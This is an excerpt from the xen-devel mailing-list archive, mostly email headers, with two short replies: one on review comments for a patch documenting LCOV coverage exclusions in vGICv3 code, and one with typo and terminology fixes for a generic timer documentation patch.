 b=BOm4ppStJGQm5Ye7HnZcaDNJilrNVOKfwEEEw4wbmVlwSYFaBqHBZIsz1kahRHAW/LwkeG1BiWXMoVOFa6nTFQzwHKE8F/by6ECDhn1YSp+sTIa9no2Aa2FPpVJWzCzF/dLcWLgzYAycQ1svtblJsi0ms4/4H3oiLS1pnK9MxXBuJCxnzt/H+eFBpDOxktOW1uZ8LSPkXfsakwDuEoV25ZVXazXgRh6yX7wNoZgsj7jL5IVkhF8UQW+DURWp82YLn5N2RjRB1S7jDm1oSlr0AHKohuWMBJPG/8YDCwskvpeAtnlFpxClxhfStBoVLU2eISAvLGnaGOpF5lEDb4FCFQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ZppEHMLD2CgtVy5TMRbwaYUtF0MWVB25EPVSEqiIHO0=;
 b=weSGsK19E/4qG2JzbVEkf67tdILT+3isPR4nditdrUHGQZGbxUeZ3PVegU/9Mu9VQXm2vkWbiWV4cz2/e4PK1FT3g9d4aq+9tsVfzA5mAkjX/u006+mdTkrAJ/Ro4GvUCh3prM1j3ZHhLXHkZJ5P/C/8p6C7+oamLu55NPVWMpZuft1r4u+0GpjRp34dHTsR/bTZzHzS0/3H8OVxO/1uo0/SZa5EmJzHXbvGaTcSthflESNMmVZGz0Quk30lK8AUfNbpwx+X0RbfjSRYQ+UJN2J/yDVVcbCcLxO2b98gRjZ0zZEWoJ2Zh6kpZfm4K58rW+egERulSc6Sbyw/e32Zfw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=suse.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ZppEHMLD2CgtVy5TMRbwaYUtF0MWVB25EPVSEqiIHO0=;
 b=HMZPtL0PU18tCw3/z6W249bBMFQDIIvyAzBYJ1KiBeg7JLeSCqSld2yjDLN8GKGfXnrQbTovOgf3aujzKeMupQW3UrJeo6AWrgMsMrcbLA077plS0g1RaMoJQV5fpPw7MS1Eo3z7pbydSCRUPQKPoGCd9Y1WhP8tSio+RlQYn84=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <dfc8e230-d4de-48fe-b5e5-aff5c21b5e2d@amd.com>
Date: Tue, 21 Jul 2026 14:10:48 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [XEN PATCH v1 1/2] docs/fusa: add coverage_gap.rst tabulating
 vGICv3 LCOV exclusions
To: Jan Beulich <jbeulich@suse.com>, Ayan Kumar Halder
	<ayan.kumar.halder@amd.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>, Artem
 Mygaiev <artem_mygaiev@epam.com>, <matthew.l.weber3@boeing.com>,
	<harunobu.kurokawa.dn@renesas.com>, <xen-devel@lists.xenproject.org>
References: <20260721124729.868630-1-ayan.kumar.halder@amd.com>
 <20260721124729.868630-2-ayan.kumar.halder@amd.com>
 <ed40f4f0-f26e-469f-95de-5077cb4218f0@suse.com>
Content-Language: en-US
From: "Halder, Ayan Kumar" <ayankuma@amd.com>
In-Reply-To: <ed40f4f0-f26e-469f-95de-5077cb4218f0@suse.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN1PEPF00004685:EE_|SJ2PR12MB8874:EE_
X-MS-Office365-Filtering-Correlation-Id: ab245388-37f2-404f-6a22-08dee7297d36
X-LD-Processed: 3dd8961f-e488-4e60-8e11-a82d994e183d,ExtAddr
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
 BCL:0;ARA:13230040|1800799024|376014|23010399003|82310400026|36860700016|13003099007|6133799003|18002099003|22082099003|56012099006|4143699003|11063799006|10067099003;
X-Microsoft-Antispam-Message-Info:
 vpxXpY2s8wJLglXNUk+Xwrb0Ed/NPeoiA8ObJW1lJiKXaOlkxw0dH6OWdLGC8OkrgaQrpB5Ru2xp+aE8PYxxuX2J6EbZYIWFjtDPsP47WCWR/1Wyb7QvP9Y0s4E6k/fy2CqoyppYzI9urJqNbOVC1F7me6OThwKjRPlM4tC70//dNCdGnU/cCql6+aJZq1ATXJGoitx5uf22RIX11DGyWaL3IKhIT/5+vKa/BN3sv+4R948SfkxF5V/eXyZoJdolSJzwnIVMnNXuO9da6xo+K+112mg6BVpMAB+cCV+W2tIR+D1wKi/qQTu3N4zhQOGKnDJa+mbPZ0VPPOCbioNLqJAKG8Tu7XO+Y9mCefKXmohR3Qf3Sd914lBYOF2z7D2KjGZNu1+Xdl2HO2cHxdbL6yYP3licwrRz3rZ1dCFk8XS68ukYHft4xgBMaHnznpGx5buWskSOLzbRZ/4cFoFzPlIXVTJW3H8jisjycNJTRjpB6PtjWMdTQShbLmovZzXOuvS3oK9EyaUQK8P4wKqPy8/5E7J7froZ/rCxjS0a+La80jJA+dKZTs8Nt1RtmD2zioiUTBp6rGEr019BRKW8R/5S08OjgdkdypYgQX2WeuJMaOiIX1CgwK2sWsoAvXwJtJfYOZAZRP/Xs38r2VLoS/fCHY076zq3eO/dxOkkghlh4j95aneYWX58z9CmaeEBWMv3n/6T2LZqmY+MjaP/wA==
X-Forefront-Antispam-Report:
 CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(376014)(23010399003)(82310400026)(36860700016)(13003099007)(6133799003)(18002099003)(22082099003)(56012099006)(4143699003)(11063799006)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
 ZmvtmmaTO1yahJQlGKgUZ/8tAhw0LKNTGDIpak+x1aIY2ysldsuGWmD8mkfSqhyb2fRb17EIsPiUPR38ChQd6C1dN4cCJsVwZJZ6mZgHdHMoz73gVQTZ4MFjl5Pmqw5/36lm2wQJt6Qob0QcimzuxWdtdtPHGnDIUV4ScPtLsHs56fkbrFuyVR0V2EgJ/lgbimC/QT33ALHkkgFlV9QFqOZt0OqxiRsDlwExlRDU+Zs53mefDMPwU5O07u+dUksMrzjaDVOy8byaayJYn8ioJ/gLaHpXrzPBkJLq8bRR40Ol8r5HIgq5Ke6LzCRPDrppKB04cYdRZrQvKMIFqjB5azQGeZjp56X4D3fFNrvJJE/DyehllxGQmUn6GpyfeX7sYmpoo8b0mbwlZthauUzWq3jn1WVPaS5Kf3hzszNovP/kooTdmrhhl5U2cwqaC/zJ
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 21 Jul 2026 13:10:51.3152
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: ab245388-37f2-404f-6a22-08dee7297d36
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource: BN1PEPF00004685.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ2PR12MB8874
X-purgate-ID: tlsNG-4011c0/1784639458-587CACFC-76CDCFC2/0/0
X-purgate-type: clean
X-purgate-size: 2365

Hi Jan,

On 21/07/2026 14:00, Jan Beulich wrote:
> On 21.07.2026 14:47, Ayan Kumar Halder wrote:
>> --- /dev/null
>> +++ b/docs/fusa/coverage_gap.rst
>> @@ -0,0 +1,41 @@
>> +.. SPDX-License-Identifier: CC-BY-4.0
>> +
>> +Coverage gaps
>> +=============
>> +
>> +This table documents the ``LCOV_EXCL`` regions in the Xen source. Each excluded
>> +region is tagged in the source with a ``COV-GAP-<COMPONENT>-NNN`` marker that
>> +matches an entry below. A region is excluded from the coverage report only when
>> +it is unreachable by design, so it can never be reported as covered.
>> +
>> +.. list-table::
>> +   :header-rows: 1
>> +   :widths: 15 25 10 12 38
>> +
>> +   * - coverage_gap_id
>> +     - file
>> +     - line numbers
>> +     - SHA
> What specific algorithm? Or wait, this isn't a hash of the file, but a commit
> hash. This imo wants clarifying.
It is a commit hash.
>
>> +     - justification
>> +   * - COV-GAP-VGICV3-001
>> +     - xen/arch/arm/vgic-v3.c
>> +     - L796-L800
>> +     - 351d41e8aecc3f7566a0baa7b4066d06dedd7113
>> +     - Both callers select the register offset with their own ``switch`` and
>> +       forward only offsets the handler has an explicit ``case`` for, so no
>> +       forwarded offset can fall through to ``default:``. (The SGI_base-frame
>> +       ``GICR_*`` offsets one caller forwards are numerically equal to the
>> +       ``GICD_*`` offsets the handler cases on.) The ``default:`` is kept as
>> +       defensive programming; it becomes reachable only if a caller is
>> +       modified to forward an offset the handler has no ``case`` for, at
>> +       which point this exclusion must be removed.
> All of this is liable to go stale. Once it has gone stale, this information
> is pretty much useless aiui. And it may well be worse than that, if the
> "must be removed" isn't actually followed (perhaps simply because there's
> no link from the source to here). How's all of this going to be helpful
> longer term?

Using SPDX SBOM, you can link a document to a piece of code to a commit 
SHA. This was something that linux kernel has recently developed and 
upstreamed.

https://docs.kernel.org/tools/sbom/sbom.html . Zephyr project has 
developed this as well.

harunobu.kurokawa.dn@renesas.com is investigating this for Xen.

- Ayan

>
> Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 13:53:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 13:53:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367814.1617485 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmAu3-0002s3-TJ; Tue, 21 Jul 2026 13:52:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367814.1617485; Tue, 21 Jul 2026 13:52:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmAu3-0002rw-QF; Tue, 21 Jul 2026 13:52:59 +0000
Received: by outflank-mailman (input) for mailman id 1367814;
 Tue, 21 Jul 2026 13:52:58 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <matthew.l.weber3@boeing.com>) id 1wmAu2-0002rq-Al
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 13:52:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmAu0-00Cmg8-FZ
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:52:57 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <matthew.l.weber3@boeing.com>)
 id 6a5f79a9-5cb7-0a2a0a5109dd-0a2a450ace98-32
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 15:52:55 +0200
Received: from [130.76.20.194] (helo=ewa-mbsout-01.mbs.boeing.net)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <matthew.l.weber3@boeing.com>)
 id 6a5f79b4-f2d2-0a2a450a0019-824c14c2c509-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 15:52:54 +0200
Received: from localhost (localhost [127.0.0.1])
 by ewa-mbsout-01.mbs.boeing.net (8.15.2/8.15.2/DOWNSTREAM_MBSOUT) with SMTP id
 66LDqmVD058657; Tue, 21 Jul 2026 06:52:52 -0700
Received: from XCH16-07-06.nos.boeing.com (xch16-07-06.nos.boeing.com
 [137.137.111.39])
 by ewa-mbsout-01.mbs.boeing.net (8.15.2/8.15.2/8.15.2/UPSTREAM_MBSOUT) with
 ESMTPS id 66LDqSeX058217
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
 Tue, 21 Jul 2026 06:52:28 -0700
Received: from XCH16-07-01.nos.boeing.com (137.137.111.34) by
 XCH16-07-06.nos.boeing.com (137.137.111.39) with Microsoft SMTP Server
 (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.1.2507.69; Tue, 21 Jul 2026 06:52:28 -0700
Received: from XCH19-EDGE-Q02.nos.boeing.com (130.76.23.14) by
 XCH16-07-01.nos.boeing.com (137.137.111.34) with Microsoft SMTP Server
 (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.1.2507.69 via Frontend Transport; Tue, 21 Jul 2026 06:52:27 -0700
Received: from USG02-CY1-obe.outbound.protection.office365.us (23.103.199.175)
 by boeing.com (130.76.23.14) with Microsoft SMTP Server
 (version=TLS1_2, 
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.43; Tue, 21 Jul
 2026 06:52:13 -0700
Received: from SA1P110MB2076.NAMP110.PROD.OUTLOOK.COM (2001:489a:200:198::16)
 by BNZP110MB2558.NAMP110.PROD.OUTLOOK.COM (2001:489a:200:4aa::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.17; Tue, 21 Jul
 2026 13:52:12 +0000
Received: from SA1P110MB2076.NAMP110.PROD.OUTLOOK.COM
 ([fe80::1093:e669:d5e:41ab]) by SA1P110MB2076.NAMP110.PROD.OUTLOOK.COM
 ([fe80::1093:e669:d5e:41ab%4]) with mapi id 15.21.0223.008; Tue, 21 Jul 2026
 13:52:12 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=boeing-s1912 header.d=boeing.com header.i="@boeing.com" header.h="From:To:Subject:Date:References:In-Reply-To"; dkim=pass header.s=selector1-boeing-onmicrosoft-com header.d=boeing.onmicrosoft.com header.i="@boeing.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=boeing.com;
	s=boeing-s1912; t=1784641972;
	bh=JUCHa3bKJEkKrvY4lEpVxWWAUoRn/VJ6Ad9ivBaWPFw=;
	h=From:To:Subject:Date:References:In-Reply-To:From;
	b=KyIerFK+WYic/sB6KicI7P8qY8RTWfkcXsIB2EUXOfPnYWQcoHJv8vnZUeAlVpk7v
	 NzfMjkIhEvV+XsVcUP7JpGc1znLFZMVg3wgAN72upzFIJibRIUXMhvZdLXD3bgLPy/
	 9wT+Lm0pdgnHOnXruNuUkNgE7irYGzcLFHMnaVFiLssN7O7D1bkgQw3whnMQVC70ig
	 VYNO/mxZJQrbIXKqaZ+tEp6wNP7bWw1CnbkTtHfIUzP87p2lLIhoB8XPMlSHYTWyOY
	 R/JwYS410KKV+z182ZXooIKVTm4By2fpNCwEOvRvpHAA+dJhFZv/BZKs5hFqgGKx3C
	 4mzdgxhpCocAg==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector5401; d=microsoft.com; cv=none;
 b=QyWcSYg8d5fehExrsqEfo6WcsOgSnGSSGCiRSfZq0f5iZ11vD1plJSd20KMGKQCtWdrCzeMkK3B9E2SU8zzDrqxHl9b0gkxbBe607+9rK8owRToXrjwbBXY+SMWYxnn+/EyyZIHoZyczqv/djOhHymVTCW0Bauy4s8MCLdy2kDVONsi3q2ZsH9P74R2hp3bqj9TDpzmSlM1iILjJ6XHX4wVq/ihGHAuAHaFq1eUk01ORKQGKmyw+oy529JJp6fz7g9MGEs/3htcyVk++EA3Hvhs9VAGOKVKgFsWhOXITuU3odEaP9N+YZJn4ol60ewg+W0Dugwa2ib7fMRyQgz3NVg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector5401;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=JUCHa3bKJEkKrvY4lEpVxWWAUoRn/VJ6Ad9ivBaWPFw=;
 b=V0BqJnXXkraSD+VZNk2wljWabbX94H6vPhyw5KVrwavi6mw1RN0bRtUrUVAUnczS5hRTMBZtNoFH0w/pUfO4sEvXzELzBNdZgNK8Pnl4PDmwn30ln+H1fSW06VEcdxTGiAKx39wgSJpbQaE4PfVQ8+Md89M/uvbHomtkUBQvKUhlySDDP4ki3vIwZTJtPODEaIzIFnmriTPZvvaAqlHHoV5mUFq3/Jf09QabwARjPAPyOV4DKUqIV0uLd1WdRIcXYzmZtV7sIVvL6Jjy0kHCYevlACs/5QsT0briTjFBl9dveYduah0WcV3alvRkLYf8T5VxkwQ9duBgupcYknpFVw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=boeing.com; dmarc=pass action=none header.from=boeing.com;
 dkim=pass header.d=boeing.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=boeing.onmicrosoft.com; s=selector1-boeing-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=JUCHa3bKJEkKrvY4lEpVxWWAUoRn/VJ6Ad9ivBaWPFw=;
 b=Ie2Whzh08z112Tl8nfO24owD7GZ1hTXYkzpuJJRJ/uOxcDoWANxHgicqz6dLbx6mtIbflsXCoMS9wmehCJHca5MdG4Swm8tlcbkOBsKrMnWQ2EGd7sTLkyt/Z/SQEqv23reeCoXpI/fjQYET1tZxM1HeJPDC1M7e2o/hzZq42s4=
From: "Weber (US), Matthew L" <matthew.l.weber3@boeing.com>
To: Ayan Kumar Halder <ayan.kumar.halder@amd.com>,
        "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [EXTERNAL] [XEN PATCH v1 2/2] docs/fusa: add generic timer arch
 spec with ASCII diagrams
Thread-Topic: [EXTERNAL] [XEN PATCH v1 2/2] docs/fusa: add generic timer arch
 spec with ASCII diagrams
Thread-Index: AQHdGQ87b/N5pVUPx0Wqd9VFa4WMhbZ3/T2g
Date: Tue, 21 Jul 2026 13:52:12 +0000
Message-ID: <SA1P110MB2076559C830AB1A9267A5577F3C2A@SA1P110MB2076.NAMP110.PROD.OUTLOOK.COM>
References: <20260721124729.868630-1-ayan.kumar.halder@amd.com>
 <20260721124729.868630-3-ayan.kumar.halder@amd.com>
In-Reply-To: <20260721124729.868630-3-ayan.kumar.halder@amd.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=boeing.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: SA1P110MB2076:EE_|BNZP110MB2558:EE_
x-ms-office365-filtering-correlation-id: 532d0305-c00f-4245-4d5b-08dee72f441e
x-ms-exchange-senderadcheck: 1
x-microsoft-antispam: BCL:0;ARA:13230040|1800799024|366016|23010399003|38070700021|18002099003|22082099003|4143699003|10067099003|56012099006;
x-microsoft-antispam-message-info: 9M+YKcw99h2gJrWfIiWz1mohsexdo22A/5zk4MOoFPhXzlF4GQ6ZJaq5hlm2Xrfq9afJOFilVtYtCxXW89MXBWL09hmBuLPyNIlAaUCo2PezMDXW4auMiDFoxfjM6t5iYx6T+o0IwMT28hA9JAdj9v8Pjab1uyPmf33+ycxCo+Nn2S1WP0xF8+SsmtzOQu508u0TeLSi7WqcZChnqPiqxN3OW7EHTqFPNh5gqmbX8nAJAifak2N9kCQWlkxR/Q3GA+v6/KR0oxZMx0u7j7+/kzOsTs9GhzrueRjVrLHJ2Q6O4IEGmQBAbHQ1bB0KUlR5QefCp4iVGH3dwhRCCDvK2Qb3iPLrIIiKLfmCbl5Y2Hiy5UtzYjrEXAPdlJ/7DQQyIGQdNDR8lQx6LOMjYoin4SR6yd2V8nqXWfJ2lZW+nua9lVCnNwA3p4lAN8PelbOpHgcnmmRUoruRhWNbepcCRstftE/W9pJRlPoqS80vzjWplnvHHUFdL8SSWa5kc0+UzKIZMMvHVZGvVj4zTqoNCQnOOEp6iXdKrYlzrFoXUBL4jmyp1fS81sUVQd2IAOuKPHa9hSpkJL4AeaLaxt4IurY3tWIE7eQszi4qowy5y4eirSr/Zb6xSda0u0tmic4M2I5uC+CPHMgFkZnQacaTlfjpeBcDVQ6CuqC1mQuOtDI=
x-forefront-antispam-report: CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:SA1P110MB2076.NAMP110.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(38070700021)(18002099003)(22082099003)(4143699003)(10067099003)(56012099006);DIR:OUT;SFP:1101;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0: =?us-ascii?Q?yppoVDMU3l1yEGfwv/5pQ4zn1029tJLci2hJhvZ0p8W1XhDVgS3qtnHGv2l5?=
 =?us-ascii?Q?xeOIlyQHe6wDFSyBjpr/XxkzGII2ZLbEe68oMFiPmFU3DXqQ1vz9dQb2nqE6?=
 =?us-ascii?Q?t5JMCkRvjgaFBolekKUnP2gOj5O8kmA/MGVGxlRv9seodzt+4OFQjw/7yaT2?=
 =?us-ascii?Q?2OlTHtz5Ukwf2+En7AHo4tmJa+wmLR88GGcyEeyGiIkLCTq8Sb3ifDorE4JG?=
 =?us-ascii?Q?7zLjubg8cwctgXdoVHNvnx4ErUnfysZeTtLj3rICjxmmsQcGbfdvVWcOrWED?=
 =?us-ascii?Q?gMl2ltUtQEO3XW0KLLowrmB49QEw7WtxvQ/LmLP0AGQgnSIUEXnnfAyUepN6?=
 =?us-ascii?Q?OoacSHxfm4q1r5F/uhBL6YEbYFCTUgHRQMCSi9IADhTfyRJ5EOHevGLZnnK/?=
 =?us-ascii?Q?VEGCm/WnMShsM+APITAgQ/s2kH/fxckZTSWKlVwMp17caeju6LQ4fvFV5W2x?=
 =?us-ascii?Q?ivKQ83pcLCz+XGUaUJm4H7DNO8CjEcLF0kIfCmsg0TewERnOZ+jPjQTuqEk7?=
 =?us-ascii?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=?us-ascii?Q?jBtdtXIeWsWNqs9cZBHxeLLCG8nbXTEfXDoFOIBq2wzNzvxhQ7L0e3dwGO6J?=
 =?us-ascii?Q?jLpuJO23dL91IFxk+a5rbwtStmvFUx9Yps7F/vMam9Ho06XkDH9+s8EXXjLj?=
 =?us-ascii?Q?tBJJecnDAvaG2UQBAD0HR38aniQkIiCUFHxBJb64qYrWnGAnzWwDzguRn97E?=
 =?us-ascii?Q?TY5dAIZASmbvu/b16pwHE1U7BullAjREqkOYXt5K04X0bzeNO3wsNZzS5hVe?=
 =?us-ascii?Q?Agincj5Z2duON9a0oZHv/Ak8eTKw36nbV6mqgI4HS0LjQ/egbtuL1K0PDRBn?=
 =?us-ascii?Q?Um42Sg=3D=3D?=
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: SA1P110MB2076.NAMP110.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 532d0305-c00f-4245-4d5b-08dee72f441e
X-MS-Exchange-CrossTenant-originalarrivaltime: 21 Jul 2026 13:52:12.5319
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: bcf48bba-4d6f-4dee-a0d2-7df59cc36629
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BNZP110MB2558
X-OriginatorOrg: boeing.com
X-TM-AS-GCONF: 00
X-purgate-ID: tlsNG-4011c0/1784641975-538D5CFC-AB28468F/0/0
X-purgate-type: clean
X-purgate-size: 1503

All,

> On 21.07.2026 14:47, Ayan Kumar Halder wrote:
> +Generic timer usage during VM creeation
> +---------------------------------------

Typo: "creeation" -> "creation"

> +- CNTVCT_EL0 - virtual count value
> +- CNTV_CTL_EL0 - control register
> +- CNTV_CVAL_EL0 - compare value register
> +- CNTV_TVAL_EL0 - compare value register

CNTV_TVAL_EL0 should be "timer value register", not "compare value
register". CVAL is the comparator, TVAL is the countdown/timer-value
alias. (Same naming as CNTP_TVAL_EL0 earlier in the same section.)

> +The interrupt behave in a level-sensitive manner, meaning the timer will

Grammar: "The interrupt behaves" (singular).

> +   * - physical non secure timer
> +     - 30

Nit: ARM uses "Non-secure" (hyphenated, capitalized). Suggest
"physical Non-secure timer" for consistency with the spec terminology.

> +| [1] Arm Architecture Reference Manual for A-profile architecture, Chap=
ter 11
> +| [2] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git=
/tree/Documentation/devicetree/bindings/timer/arm,arch_timer.yaml

These would render better as proper RST footnotes:

  .. [1] Arm Architecture Reference Manual for A-profile architecture, Chap=
ter 11
  .. [2] https://git.kernel.org/...

That way Sphinx cross-references and numbered citations work correctly
in the built HTML.

Overall the spec is well structured, thanks Ayan!

Reviewed-by: Weber (US), Matthew L <matthew.l.weber3@boeing.com>



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 14:49:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 14:49:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367834.1617494 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmBmh-0005da-0S; Tue, 21 Jul 2026 14:49:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367834.1617494; Tue, 21 Jul 2026 14:49:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmBmg-0005dS-Sy; Tue, 21 Jul 2026 14:49:26 +0000
Received: by outflank-mailman (input) for mailman id 1367834;
 Tue, 21 Jul 2026 14:49:26 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wmBmg-0005dM-0c
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 14:49:26 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wmBmg-000hdS-09;
 Tue, 21 Jul 2026 14:49:25 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wmBmf-008mvu-1C;
 Tue, 21 Jul 2026 14:49:25 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
